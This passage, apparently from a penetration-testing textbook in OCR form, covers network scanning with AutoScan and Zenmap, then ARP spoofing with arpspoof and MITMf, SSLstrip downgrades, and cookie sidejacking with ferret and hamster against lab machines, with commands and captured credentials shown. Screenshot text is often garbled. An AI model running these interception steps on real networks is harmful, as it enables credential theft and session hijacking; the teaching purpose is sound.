command. We are just going to launch the dpkg --add-architecture 1386 command.
Now, we need to update the sources. To do this, we enter apt —get update. Now, we are
going to install the library that AutoScan needs, called 1ibc6. Run the apt-get install
libc6: 1386 command and say Yes when it asks if you want to continue.

[106]



Post-Connection Attacks Chapter 7

Later, it will ask us to restart the services as configurations are made—say Yes when it
does. OK, now it should be all installed. Now that we have installed the library that
AutoScan needs, all we need to do is just install AutoScan itself.

As you might recall, AutoScan was downloaded in the Downloads folder. We're going to
navigate to the Downloads folder by running cd Downloads. Then, if we list the files

in Downloads using 1s, we will see that we have the AutoScan installer itself written in
green:

: ~/Down1 # 1c
autoscan-network-1.42-Linux-x86-Install

evilgrade

evilgrade-installation-commands-updated.txt

To run the installer, we're going to write . / and then write the name of the installer—that
is, autoscan-network-1.42-Linux-x86-Install—and hit Enter:

autoscan-network Setup o O

Walcome to the InstallJammer Wizard for
autoscan-natwork

This will install avtoscan-network version 1.42 on your
computer.

It iz recemmended that you close all ether applications
befare continuing.

Click Next to continue or Cancel to exit Setup.

Cancel

| Newt» |
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It will ask us to click Next if we wish to continue installing AutoScan. Once we've
confirmed our choice, it will ask us where we want to install it. We are going to keep it in
the default place, which is /opt /AutoScan:

autoscan-network Setup [— ]

@O

Start Copyling Flles

Review settings before copying files

Click Next to begin copying files.

Install Directory:
foptAuteScan

Now, the program should be fully installed. If we go to the desktop, we will see that we
now have a launcher on the desktop. Also, if we go to Show Applications and look for
AutoScan, we will see that we have two files; the uninstaller and AutoScan itself:

Q. autoscan|

©* B B

AutoScan Netw... autoscan-network Uninstall autosc...
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We are now going to run AutoScan. We can use it to discover clients that are connected to
the same network as us. The AutoScan Wizard (as shown in the following screenshot) will
actually help us start the scan and see the results:

Wizard ()

Network Wizard -)

This Wizard will add a network

Qancell ﬂackl Forward
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We will just click on Forward. Next, it will ask us to name the network—we're just going to
keep it as Local network, and then click Forward:

Wizard [ %]
- ® New
Name ILocal network _.25- [v
» Options
- O Restore
I Open
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Again, it's still going to ask us where the network is. It's our localhost, so we are keeping it
as it is:

Wizard ()

Where is located the network

® Localhost

O Connect to host

Ip Address | Port 4555 []
User I Password I
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Next, we click Forward. Next, AutoScan will show us the available interfaces. This is really
important, because, depending on which interface we pick, we will discover the devices
that are connected to the same network that this interface is connected to. For

example, wlan0 [192.168.0.3] is an actual wireless card connected to our real home network,
so if we use this interface, we will be able to discover all the devices that are connected to
our Wi-Fi home network because wlan0 [192.168.0.3] is connected to that network:

Wizard (<]

Initialize the Agent <)

Select the network Interface

|l dwian0 [192.168.0.3) v

;ancel| Hack| Forward

[112]



Post-Connection Attacks Chapter 7

We are going to click on Forward, and then we're going to click on Forward one more time.
Now, the program is working, and as we can see in the following screenshot it is already
discovering devices in our network:

AutoScan Network 1.42 e 0 O
¥ + . ) )
= ka2 . % g& \‘1\ A
e d &K | 2 | ! @
Add a network View Save Search Settings ' Notification Intrusion Alert Help About Exit

Naotification

Ip ¥ | HostName Os I Ip Address : 192.168.0.1

192.168.0.1 #3# Unknown #H I Mac Address : EC:1A:59:5A:E1:46
B 192.168.0.2 1Ht Unknown 1 lsd Metwork card : 777
W 192.168.0.3 Agent T 03] =
4
192.168.0.4 ## Unkni #H .o =
8 nrnown i ,Iqﬂlnfcl ..,l%_ll-iistoryl
% Open TCP Ports - | * Q

@ = &
Http MNetBios-ss Microsoft-
n ds

My Network List

Give it some time. First of all, it's going to discover the IPs, then it will try to gather
information about the open ports, the operating system, and the services used on these
open ports.
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Once the scan is over, we will be able to see all the devices in our network, as we can see in
the following screenshot:

AutoScan Network 1.42 - o X
e > . - . -
@ B B K %[ 4 9 & o | .
Add a network View Save Search Settings Notification Intrusion Alert Help About Exit

Isd |p Address : 192.168.0.1
I5d Mac Address : EC:1A:59:5A:E1:46

B 192.168.0.2 #4 Unknown #3  )ad Network card : 727
W 192.168.0.3 Agent e I»ld
B 192.168.0.4 #4 Unknown g o | ‘ﬂ'"ﬁ’l ;—1|mn|gfy| i:iHistoryI

{ €3 0pen TCP Ports Ivl » 0

== =P My

@ = &

Http NetBios-ss Microsoft-
n ds

My Network List
~& Local network| Total : 4 IZ"R:00/s5:00/s

Clicking on any device will show us more information on the right-hand tabs. For example,
if we click on the router, as shown in the preceding screenshot, it will get us more
information than netdiscover, as shown in the following screenshot:

1 Ip Address : 192.168.0.1

15d Mac Address : EC:1A:59:5A:E1:46
15 Network card : 277
~ (&3 System : Unknow equipment
@ MDS IPv4: 3F7AA6BCC1D5278EBEA43A3673E188B7
i) This is probably a gateway for the LAN

JJsummary | w |Info | Dlnvenmryl &.History |
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At first, we can see the IP Address and the Mac Address. It's also telling us that This is
probably a gateway of the LAN, so it's probably not an actual computer, but a router.
Now, in the Info tab, we can see that we have open ports, and that two of the open ports
are a TCP and a UDP port:

. TCP port : Open (3/72) Firewalled (0/72)
A TCP port (Open) : 80-139-445-0-0-0-0-0-0-0-...

&) TCP port (Close) : 10-13-21-23-22-25-53-66-67-88-...
JJ TCP port (firewall) : 0-0-0-0-0-0-0-0-0-0-...

i) UDP port (open|filtered) : 1900-5353-0-0-0-0-0-0-0-0-...

I | i
JdJSummary w Jinfo [ ‘lnwentoryl '?LEHistoryl

As we can see, the tool is easier to use and shows us more information than netdiscover,
but it takes a longer time to actually scan the network and discover the information. In the
next section, we'll have a look at Zenmap, which will show us more detailed information
about the clients that are connected to our network.

Zenmap

The third program that we're going to look at is Network Mapper (Nmap). Nmap is a
network discovery tool that can be used to gather information on just about any device.
With it, we can gather information about any client that is within our network, we can
discover clients that are within our network, we can gather information about clients that
are outside our network, and we can gather information about clients just by knowing their
IP. We can even can enter their IP and then gather information on them. Nmap is a huge
tool, and has many uses. It can be used to bypass firewalls, as well as all kinds of protection
and security measures. There are entire books and courses on how to use Nmap. In this
section, we're only going to have a quick look at Nmap, and learn some of the basic Nmap
commands that can be used to discover clients that are connected to our network, and also
discover the open ports on these clients.

[115]



Post-Connection Attacks Chapter 7

We're going use Zenmap, which is the graphical user interface for Nmap. If we just
type zenmap on the Terminal, we will bring up the application:

Zenmap @ ® 0

Scan Tools Profile |lelp

Target:' v | Profile: |Intensescan v _Scan| Cancel

Command: Inmap -T4-A-v

| Services Nmap Output | Ports / Hosts | Topology Host Details = Scans

0S  Host v

Filter Hosts

In the Target field, we are going to put our IP address. If there is only one IP address that
we want to gather information on, we can just enter that address, or we can enter a range,
like we did with netdiscover. For this exercise, we will be entering 10.0.2.1/24.In

the Profile drop-down menu, we can have various profiles:

Profile: |Intense scan | v l

Intense scan

| Intense scan plus UDP

- Intense scan, all TCP ports
Intense scan, no ping
Ping scan
Quick scan
Quick scan plus
Quick traceroute
Regular scan

Slow comprehensive scan
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We can put a custom command in the Command option if we want, or we can use one of
the ready-made profiles in the Profile drop-down menu. Let's look at these ready-made
profiles. First, we'll look at the Ping scan profile first. Select Ping scan from

the Profile drop-down menu and hit the Scan button:

Zenmap e ®0
Scan Tools Profile Help

Target: |10.0.2.1/24 v | Profile: 'Ping scan v | |Scan|

Command: |nmap -sn 10.0.2.1/24

| Hosts || Services | Nmap Output | Ports / Hosts  Topology Host Details Scans
|nmap -sn 10.0.2.1/24 = | | Details

v

0S5 Host v J

Starting Nmap 7.70 ( hilps://nmap.ory ) al 2018-07-13 ©2:28 EDT
W Nmap scan report for 10.0.2.1

Host is up (©.00064s5 latency).

W 10023 MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Y]

i

Nmap scan report for 10.9.2.2
10.0.2.5 Host is up (0.00039s latency).
10.0.2.15 MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.0.2.3
Host is up (0.08059s latency).
MAC Address: 080:00:27:77:49:88 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.5
Host is up (0.00064s latency).
MAC Address: 08:00:27:04:18:04 (0Dracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.15
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.28 seconds

The preceding scan is kind of a quick scan, but it doesn't show too much information, as we
can see in the preceding screenshot. It only shows the connected devices. As we can see, we
have the connected devices on the left-hand panel, and we have their IP addresses, their
MAUC addresses, and their vendors. Sometimes in netdiscover, we are not able to see the
manufacturer of the device. Sometimes this information is also hidden from AutoScan.
However, we can see the manufacturer with Nmap, as seen in the preceding screenshot. We
are also able to know that the 10.0.2. 5 is a VirtualBox virtual NIC device. This is a virtual
wireless card, as we are performing scans in our wired lab. In the case of wireless scans, it
will display the manufacturers of the router or device, and we can go ahead and look for
exploits in those devices. Again, the Ping scan was very quick. We were able to find out the
manufacturers, the IP addresses, and the MAC addresses of the connected clients.
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The next scan we're going to have a look at is the Quick scan. Now, the Quick scan is going
to be slightly slower than the Ping scan, but we will get more information than the Ping
scan; we're going to be able to identify the open ports on each device:

Scan Tools Profile Help

Target: |10.0.2.1/24 v | Profile: |CQuick scan v | |Scan

Command:  nmap -T4 -F 10.0.2.1/24

Services Nmap Qutput | Ports / Hosts  Topology  Host Details  Scans

05  Host v |nmap-T4-F 10.0.2.1/24 o Details

10021 Nmap scan repert for 10.6.2.1
Host is up (B.88814s latency).

¥ :10022 Mot _shown: 99 closed ports
W 10023 PORT  STATE SERVICE
53/tcp open domain
¥ 10024 MAC Address: 52:54:88:12:35:88 (QEMU virtual NIC)
W 10025
u 10.0.2.15 NMBP scan repnr‘l‘ for 10.8.2.2

Host is up (1.9s latency).
Hot shown: 91 closed ports
PORT STATE SERVICE
135/tcp  open msrpc

445/tcp open microsoft-ds
3389/tcp open ms-wht-server
5357/tcp open wsdapi
5432/tcp open postgresql
49152/tcp open unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open unknown

MAC Address: 52:54:009:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.8.2.3

Host is up (8.068851s latencyl.

ALl 186 scanned ports on 10.8.2.3 are filtered

HMAC Address: ©8:80:27:77:49:88 (Oracle virtualBox virtual NIC)

Nmap scan report for 19.9.2.4
Host is up (0.00017s latency).
Mot shown: 82 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp  open ssh

23/tcp  open telnet

28/tcp open smtp

53/tcp open domain

80/tcp open http

As we can see in the preceding screenshot, the main router has an open port called 53/tcp.

Now, let's have a look at the Quick scan plus, which will take the Quick scan one step
further. It's going to be slower than the Quick scan, but it will show us the programs that
are running on the opened ports. So, in the Quick scan we saw that, for example, port 80 is
open, but we didn't know what was running on port 80, and we saw that

port 22 was running, but we didn't know what was running. We knew it was SSH, but we
don't know what SSH server was running on that port.
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So again, this will take longer than the Quick scan. This scan is slower than all the previous
scans that we talked about, but we can see that it gathers much more information, as shown
in the following screenshot:

Zenmap e e 0
Scan Tools Profile Help
Target: |10.0.2.1/24 v | Profile: |Quick scan plus v | |Scan
Command: |nmap -5V -T4 -0 -F --version-light 10.0.2.1/24
| Services | | Nmap Output | Ports / Hosts  Topology Host Details  Scans
05  Host = nmap -5V -T4 -0 -F --version-light 10.0.2.1/24 v Details |
i} Nmap scan report for 10.8.2.4
10022 Host is up (0.06654s latency).
' T Hot shown: 82 closed ports
W 10023 PORT STATE SERVICE VERSION
M 10024 21/tcp open  ftp vsftpd 2.3.4
e 22/tcp open ssh openssSH 4.7pl Debian Subuntul (protecol 2.9)
-2 :10.0.25 23/tcp open  telnet Linux telnetd
25/tcp open smtp Postfix smtpd
W 100215 53/tcp open  domain ISC BIND 95.4.2
B0/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUF)
44%/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp open login OpenBSD or Selaris rlegind

514/tcp open tcpwrapped

2048/tcp open rpchind

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.8.51a-3ubuntus
5432/tcp open postgresql PostgresgL DB 8.3.0 - 8.3.7
5500/tcp open wnc VNC (protocol 3.3)

600B/tcp open X1l (access denied)

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
MAC Address: ©8:80:27:5F:44:8C (Oracle virtualBox virtual NIC)
Pevice type: general purpose

05 CPE: cpe:/o:linux:linux_kernel:2.6
i Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Host: metasploitable.localdomain; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

MNmap scan report for 18.6.2.5
Hest is up (0.00049s latency).
: 96 closed ports

PORT STATE SERVICE VERSION
22/tcp open  ssh OpenSSH 6.7 (protocol 2.0)
135/tcp open msrpc Micreseft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

We can see in the preceding screenshot that we have a Linux device connected. We can see
that the operating system of the device is connected, and that it also got us the version for
the programs. Last time, we only knew that port 22 was open—now we know that it's
running, and that the server that's running there is OpenSSH 4.7.

From the information that the Quick scan provided us about our Linux device, we were
able to identify port 80, and could tell that the port was open. We knew that HTTP was
running on this, obviously, but we didn't know what version of the server was running on
it. Now we know that it was Apache HTTP server 2.2.8 and that it was a Linux device. So
again, this is very accurate. We can go ahead and look for exploits and vulnerabilities.
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This is just an example of how useful it is to gather information. Even if this didn't work,
we could go ahead and look for exploits for these programs and we will manage to gain
access to this network. So, gathering information is a huge step in penetration testing.
Zenmap, or Nmap, is a huge tool that we can use to carry out many types of scans. We can
experiment with these ready-made profiles to see what they can do.

Summary

In this chapter, we have covered all the possible techniques that we can use to break
through network and gather important pieces of information about the clients on the
network. This will help us to launch attacks on the target system. For this purpose, we
learned about three different tools—netdiscover, AutoScan, and Zenmap. All these tools
have unique features that make them efficient in gathering information about targets.

In the next chapter, we are going to learn about various man-in-the-middle attacks. We will
also be learning about the Wireshark tool.
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In the previous chapter, we covered the ways we can gather information and analyze it
with the help of various tools. In this chapter, we will learn about the man-in-the-middle
framework (MITM(), which is a toolkit for one of the most powerful attacks. In order to
implement MITMf we are going to use ARP spoofing, bypassing HTTPS, and DNS
spoofing. We will also use keyloggers, and look at the code injection technique for MITMf
implementation.

Towards the end of the chapter, we will learn about a special tool called Wireshark, which
is very efficient when it comes to analyzing a network. With it, we can capture packets and
learn the information they carry within them. In this section of the chapter, we are going to
learn how to operate this tool and also how to use a few filters.

In this chapter, we will cover the following topics:

e Man-in-the-middle-attacks
e Wireshark

Man-in-the-middle attacks

In the next few sections, we're going to talk about what are known as man-in-the-middle
(MITM) attacks. This is one of the most dangerous and effective attacks that we can carry
out in a network. We can only do it once we have connected to the network. It can be used
to redirect the flow of packets from any client to our device. This means that any packet
that is sent to or from the client will have to go through our device, and since we know the
password we know the key to the network, so we will be able to read those packets. They
won't be encrypted, and we will be able to modify them, drop them, or just read them to
see if they contain passwords or important information. This attack is so effective because
it's very hard to protect against. We're going to talk about the ways to protect against it, but
it's very hard to fully protect against this attack. This is due to the way the ARP protocol
works. It was programmed in a way that's very simple and very effective, but it's not secure
enough.
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ARP has two main security issues. The first one is that each ARP request or response is
trusted, so whatever our device says to other devices that are in our network will be
trusted. We can just tell any device that's on our network that we are the router and the
device will trust us. It will not try to make sure that we are actually the router. It will not
run any tests to ensure our identity. If we tell any device that we are the router, the device
will believe us. In the same way, if we tell the router that we are someone else on the
network, the router will trust us and will start treating us as that device; so, that's the first
security issue. The second security issue is that clients can accept responses even if they
didn't send a request. So, for example, when a device connects to the network, the first
thing it's going to ask is, who is the router? And then the router will send a response saying
"I am the router." Now, we can just send a response without the device asking who the
router is. We can just tell the device we are the router, and because the devices trust
anyone, they will trust us start sending us packets instead of sending the packets to the
router.

So, let's have a deeper look at how this MITM attack works. It's going to work using a
technique called ARP poisoning, or ARP spoofing. This is done by exploiting the two
security issues that we talked about in the previous paragraph. That's a typical Wi-Fi
network, and we can see in the following diagram that when the client requests something
it will send the request to the Wi-Fi router, and then the router will get the request from the
internet and come back with the responses to the Client:

Now, all this is done using packets. So, what we are going to do is we're going to send an
ARP response to the Client so that we can send responses without the Client asking them.
The Client didn't ask for anything, but we can still send it a response. We're going to say
that our IP is the router IP. So, the router, for example, has the IP 192.168.1.1; we're
going to tell the Client the device with the IP 192.168.1.1 has our MAC address, so we're
going to tell the Client that we are the router, basically.
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This will cause the Client to start sending the packets to us instead of sending the packets
to the router. The following diagram illustrates this:

w™

=

After that, we're going to do the opposite to the Wi-Fi router. We're going to tell the router
that we are the client. We'll do this by telling the router that our IP is the Client IP, and that
Client has our MAC address, so the communication of packets will be done through the
MAC address, and the Wi-Fi router will start sending any packet that's meant to go to the
Client to us instead. This will redirect the flow of packets through our device, so when the
Client wants to send a request it will send the request to us:

7~

8-
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So, for example, as seen in the following screenshot, when the Client wants to open Google
it will send the request to our device instead of sending it to the Wi-Fi router:

)
e

. Ilent
v

Now, our device will go to the Wi-Fi router, it'll get Google, the Wi-Fi router will send the
response to our device instead of the Client, and then we will send the packet back. So, this
means that each packet that is sent to the Client or from the Client, will have to go through
us. Since it's going through us and we have the key, we can read these packets, we can
modify them, or we can just drop them.

So, that's the basic principle of the MITM attack and ARP poisoning. Basically, we're going
to tell the Client that we are the Wi-Fi router, and then we're going to tell the router that
we are the Client. This will put us in the middle of the packet flow, between the Client and
the Wi-Fi router, and all the packets will start flowing through our device. Then we can
read the packets, modify them, or drop them.

ARP spoofing using arpspoof

Now, let's see how to run an actual ARP poisoning attack, redirecting the flow of packets
and making it flow through our device. We're going to talk about a tool called arpspoof,
which is part of a suite called dsniff. dsniff is a suite that contains a number of programs
that can be used to launch MITM attacks. We're just going to talk about arpspoof, and we're
going to see how to use it to carry out ARP poisoning, which redirects the flow of packets
through our device. The arpspoof tool is old, but it still works, and because it's so simple it's
been ported to Android, iOS, and other smaller operating systems. There's a lot of people
that actually like to use it to do ARP poisoning, which is why we're going to show you how
to use this tool. In the next section and all the sections after that, we're going to use a tool
called ettercap. We'll see how we use it and how to do ARP poisoning with it, but for this
section we just want to show how to use arpspoof because it's going to be used a lot, so we
need to know how to use it. It's very simple, anyway.
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So, we are connected now to the target network. Let's see how we use the tool. It's going to
be arpspoof -i, to choose our internet card (virtual card), so it's eth0. Then we're going
to put in the target IP address. So, our target is the Windows device, with its IP, 10.0.2. 5.
Then we will put the IP address for the access point, which is 10.0.2.1. We will tell the
access point that the client IP address has our MAC address, so basically, we're going to tell
the access point that we are the target client:

:~# arpspoof -1 eth® -t 10.0.2.5 10.0.2.1

1:27:b:91:66
:27:b:91:66
== 166

:27:b:91:66 8:0:27:4:18:4 0806 42: arp reply 10.0.
:27:b:91:66 8:0:27:4:18:4 0806 42: arp reply 10.0.
27:b:91:66 8:0:27:4:18:4 0806 42: arp reply 10.0.

MNONN

After this, we're going to have to run arpspoof again, and instead of telling the access point
that we the target client, we are going to tell the client that we are the access point, so we're
just going to flip the IPs:

-1 ethd® -t 10.8
)z 35:0 0806
., 2:35:0 0806
2:54:0:12:35:0 0806

So, by running both the preceding commands we're going to fool the access point and the
client, and we're going to let the packets flow through our device.

Now, let's see, at the target, Windows is the target device, so we are going to the ARP table.
So, if we just run the arp -a command in the Windows machine, it's going to show us the
ARP table. So, we can see in the following screenshot that the IP address for the access
pointis 10.0.2. 1, and we can see its MAC address is 52-54-00-12-35-00. It's stored in
this ARP table:

\Users
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Now, once we do the attack, we will see that the MAC address 08-00-27-0b-91-66 for
the target access point is going to change, and it's going to be the attacker's MAC address:

FF-FF-FF-FF-FF

We'll also need to do something called enabling IP forwarding. We do that so that when the
packets flow through our device they don't get dropped, so that each packet that goes
through our device gets actually forwarded to its destination. So, when we get a packet
from the router it goes to the client, and when a packet comes from the client it should go to
the router without being dropped in our device. So, we're going to enable it using this
command:

echo 1 > /proc/sys/net/ipv4/ip_forward

The Windows device now thinks the attacker device is the access point, and every time it
tries to to access the internet, or every time it tries to communicate with the access point, it's
going to send these requests to the attacker device instead of sending it to the actual access
point. This will place our attacker device in the middle of the connection, and we will be
able to read the packets, modify them, or drop them.

We're going to see how we do that in the next sections; for now we just need to know how
to do basic ARP poisoning. We're going to need to do this every time we try to do a MITM
attack.

ARP spoofing using MITMf

In this section, and the next few sections, we're going to talk about a tool called MITMf, and
as the name suggests, this tool allows you to run a number of MITM attacks. So, let's run
the tool, see how we use it, and we're going to do a basic ARP poisoning attack, exactly like
we did in the previous section. We are also going to be using our Ethernet internal virtual
cards instead of the Wi-Fi card, so we can actually run these attacks against Wi-Fi or wired
networks, and we can do it using your wireless card.
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We connect it to the network, to the target network, and then do the attack like we did with
arpspoof, or you can do it using an Ethernet virtual card.

If we do i fconfig just to see our interfaces, we'll see that we have the eth0 card connected
to the internal network at 10.0.2.15:

# ifconfig
etho: fla 163<UP, BROADCAST, RUNNING, MULTICAST= mtu 1500
inet 10.6.2.15 netmask 255.255.255.0 broadcast 10.0.2
27ff:febb:916 prefixlen 64 d
:66 txque n 1000 (Ethe
41282 (37.9 MiB)
0 dropped @ overruns 8 frame @
ts 11219 bytes 1171 (1.1 MiB)
TX errors 0 dropped ® overruns © carrier ® collisions ©

=73<UP, LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netma 55.0.0.0
inet6 ::1 prefixlen 128 scopeid @x10<host>
n 1000 (Local Loopback)
RX packets 05 bytes 55549817 (52.9 MiB)
RX errors @ ropped @ overruns @ Trame ©
TX pac 5 05 bytes 55549817 (52.9 MiB)
TX errors @ dropped © overruns @ carrier @ collisions @

Now, go to the Windows machine and run arp -a to see our MAC addresses, and we can
see in the following screenshot that we have the gateway at 10.0.2.1, and the MAC
address ends with 35-00:

5
5
5
5
5

So, we're going to run the ARP poisoning attack and see whether the MAC address changes
and whether we can become the MITM.
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To use the tool, the name of which is MITMf, we're going to put the command first. Then
we're going to tell it to do ARP poisoning, then we're going to give it the gateway (the IP of
the router), then we're going to give it the IP of our target, and then give it the interface.
The command is as follows:

mitmf —--arp —--spoof —-—-gateway 10.0.2.1 —--target 10.0.2.5 —-i ethO

If we don't specify a target, it will default to the whole network, to the whole subnet. The
interface is specifying our virtual interface, but we can specify our wireless card if it's
connected to the wireless network. So, we are just going to hit Enter, and the tool will be
running now:

:~# mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i ethe

-1 online
oxie Marlinspike online

_ MITMI-API onli
_ HIIP r online
F Serving Flask app "core.mitmfapi" (lazy loading)

* Running on http://127.0.0.1:9999/ (Prcss CTRLIC to quit)
vO.4 online
ver online
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Let's go to the Windows machine, run arp -a, and see whether we managed to become the
center of the connection. We can see in the following screenshot the MAC address has
changed from 35-00 to 91-66, and that is the same MAC address as the virtual interface
that we have in Kali, so it ends up with 91-66:

So, that means we're the MITM at the moment, and the tool automatically starts a sniffer for
us. So instead of arpspoof, which only places us in the middle, this tool actually starts a
sniffer, which captures the data that is sent by the devices in our network.

We are going to go to a website. Now, first, we are going to go to a HTTP website and see
how to capture a username and a password, and then we'll see how we can capture
passwords from websites that use HTTPS.

So, on a Windows machine, we are going to go to a website called Hack.me, and then we
are going to go to the login page to log in to an account while the MITM attack is running,
and then we are just going to use a username and a password. We are going to put the
Email Address as zaid@isecurlty.org, and then we are going to use, for Password, a
false password; but we'll just see how we can capture this password. So, we are going to
put 123456. Now, if we go back to the MITMf console, we will see what we have; the
username has been captured, which is zaid@isecurlty.org, and the password has been
captured, which is 123456:

2018-07-16 05:49:46 10.0.2.5 [type:Firefox-61 os:Windows] POST Data (me.hack

CLA=auth&FUN=loginJson&username=zaid%40isecurlty.org&password=1234565%token=:
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So, basically, we are able to capture any username and any password that is entered by the
computers that we're ARP spoofing. We can also see all the URLs that the person has
requested. So, for example, we can see that they requested me . hack .me. We can also see
the URLs that Hack.me requested. These are only the URLs requested by the ads that are
displayed on the website.

Bypassing HTTPS

In the previous section, we saw how to sniff and capture anything sent over HTTP requests.
Most famous websites use HTTPS instead of HTTP. This means that when we try to become
the MITM, when the person goes to that website, the website will display a warning saying
that the certificate of that website is invalid. That way, the person will be suspicious and
probably won't log in to that page. So, what we're going to do is use a tool called SSLstrip,
which will downgrade any HTTPS request to HTTP; so whenever the target person tries to
go to https://hotmail.com, for example, they'll be redirected to the HTTP of
hotmail.com. Let's go the browser on the target, and we are going to try to go to
hotmail.com Now, as we can see in the following screenshot, on the top in the address
bar you will see that the website uses HTTPS, so if we try to become the MITM, this website
will display a warning:

< ¢ @ | @ & [ floginlive.com/login.srizwa=wsignin1.0&rpenv=138ct=15317354348rver=6.7.6640.08wp=MBI_ v ++ @ f}l
|

To bypass the warning, we're going to use a tool called SSLstrip to downgrade any request
to the HTTPS website and get it redirected to the HTTP version of this website. Once we go
to the HTTP version, sniffing the data will be trivial, exactly like what happened in the
previous section.

We can use SSLstrip manually, but luckily, MITMf starts it automatically for us. We are
actually going to run exactly the same command that we saw in the previous section. We
are not going to change anything in it.
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If we look at the following screenshot, once we run this program we will see that it will
actually tell us that SSLstrip has been started and it's online:

*] MITMTf v0.9.8 - 'The Dark Side'
Spoof v0.6
| ARP spoofing enabled

Sergio-Proxy v8.2.1 online
EEIEA gl 0.9 by Moxie Marlinspike online

Net-Creds v1.0 online

MITMf-API online

HTTP ~ver online

* Serving app "core.mitmfapi" (lazy loading)
production

off
on http://127.0.0.1:9999/ (Press CTRL+C to quit)
v0.4 online
er online

So, we are going to go back and we are going to try to go to hotmail. com, and we will see
in the following screenshot that, instead of the HTTPS version that we're getting here, we're
actually going to go to a HTTP version of hotmail.com. Now, notice the address bar here.
There is no HTTPS, so we're actually at the HTTP version of the website. We will also notice
that we didn't see any warnings, so it just looks like exactly a normal website, looking
exactly like hotmail.com.

So, we are going to put in our email, and again we are going to use a false password. We
are just going to put 123456, and we are going to sign in. Now, if we go to the Kali
machine, we will see that we managed to capture an email from zaid@hotmail.com, and
we also managed to capture the password, which is 123456:

loginfmt=cEREEEioly i EFYLI ¥ ogin=zaid%40hotmail.comé
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Websites such as Facebook and Google are actually using something called HSTS, and what
that does is this; basically, the browser comes in with a pre-hardcoded list of websites that
have to be browsed as HTTPS. So, even if we try to downgrade the HTTPS connection to
HTTP, the browser will just refuse to show the website, or just show a HTTPS version of it.
This is because, without connecting to anything, the browser has a list stored locally on the
local computer saying that it shouldn't open Facebook, Gmail, and such websites as HTTP.
So, whatever way we try to do it, the website will just refuse to open in HTTP.

Now, MITMf actually has, an HSTS plugin that attempts to bypass HSTS, but it only works
against old browsers. It used to use an old vulnerability, which is patched now in new
browsers. With new browsers, there is no way of bypassing the HTTPS connection to Gmail
and Facebook at the moment because they use HSTS, which basically means they come in
with a hardcoded list, so the browser refuses to open these websites as HTTP.

Session hijacking

So far, we've seen how we can capture passwords from any computer that is on our
network, and we've seen how we can even bypass HTTPS to capture passwords from
famous websites that try to use encryption. What if the target person never actually entered
their password? What if they use the Remember Me feature, so when they go to the
website they already get logged in into that website? That way, they never enter the
password, the password is never sent to the server, and therefore we'll never be able to
capture the password because it's not even sent. So, let's have a look at that.

So, we are on our target Windows computer. If we go to Dailymotion, we have already
logged in there before and we clicked on the Remember Me feature. So, if we go to that
website, https://www.dailymotion.com/ie, we will see that we will already be logged in to
our account without having entered our password. In this case, the users actually get
authenticated based on their cookies. The cookies are stored in the browser, and every time
the person tries to go to the website they will be authenticated to the website based on the
cookies. What we can do is sniff out these cookies and inject them into our browser, and
therefore we'll be able to log into the account without entering the password, exactly the
same way that the target person is being authenticated to their account.

To do that, we're going to use a tool called ferret, and ferret doesn't come installed with
Kali. To install it, we are going to have to run apt-get install ferret-sidejack.
Once we have that, first of all we're going to become the MITM using the same command
that we've been using in the previous sections, using MITMf. Now, we can become the
MITM any way we want, using arpspoof or any other tool.
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Once we are the MITM, we're going to use ferret to capture the cookies. There is a ferret
plugin that comes in with MITM{, but we are going to do it on the command line just to see
how the whole process works together with another tool called hamster. We are going to
run ferret, and running ferret is very simple. All we have to do is just type in ferret, and
then we put our interface, which is eth0 in our case. Again, if we are using our wireless
card, then put as the interface the name of our wireless card. The command is as follows:

ferret -i ethO

Ferret is running now and it's ready to capture cookies. In fact, it's already capturing
cookies:

:~# fTe =
-- FERRET 3.0.1 - B7-2012 (c) Errata Security
-- build = Oct 3 2013 2alils Bl (eim=[ai
libpcap.so: libpcap.so: cannot open sh object file: MNo such file or director

earchlnq elsewhere for libpcap
ound libpcap
-- libpcap version 1.8.1
etho [ cription available
=L [ do-device that captures on all interfaces)
lo ({No d il on avalilable)
rtflltrl log (NFLOG) interface)
> (NFQUEUE) interface)

1
>
&
4
5

o

-]

(USB bu; number 2)

SNIFFING: ethe
LINKTYPE: 1 Ethrlnrt
macadir—[o :00:27:0b:91:66]
: 1]
: 5], macadd o}:3 :0b:91:66]
ID-MAC= [Or 00:27:0b:91:66 ip=[18.08.2.5]
Traffic
ID-IP=[10.06.2.15], macaddr=[08:00:27:0b:91:66]

We're also going to start a graphical interface, a web GUI that will allow us, to inject the
cookies and navigate into our system's session. To do that, we're going to use a tool called
hamster, and running hamster is even simpler than ferret. All we have to do is just run
hamster, and we're ready to go:

:=# h ter
- HAMPSTER side-jacking tool ---
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So, everything is ready now. We are going to go into our target and log in to our account.
So, we are just going to pretend that we are browsing the internet. We're going to go to
Udemy. We will just go to the website, and we'll authenticated automatically without
having to enter anything such as a username or a password. Now, let's come back to the
Terminal, and as we can see, we have managed to capture the cookies:

NS . Ccom"
-l.tlb.dmdiuﬂd
8 it 1. 91b amazonay
?53301?59 ap-s0 .com
.com”
.com"
NS . com"

. ave.com”, URL="/MFIwWUDBOMEwwS]jAJBgUrDgM
4yyAQUyK7dWyclkdn27sP1L BkwBmWHa8CEQCSuUHRPC

ip.src= [ 10. D am ocsp.trustwave.com”

e.net”
MFQwU j BOME4wTDAJBgUrDg

4“hBBPVUhJ’?]» uylz YtpHHfL”OMHHquU”L dGAN;HhZszl”mn(u(IAW9F4CEmar 81FRIBKpx

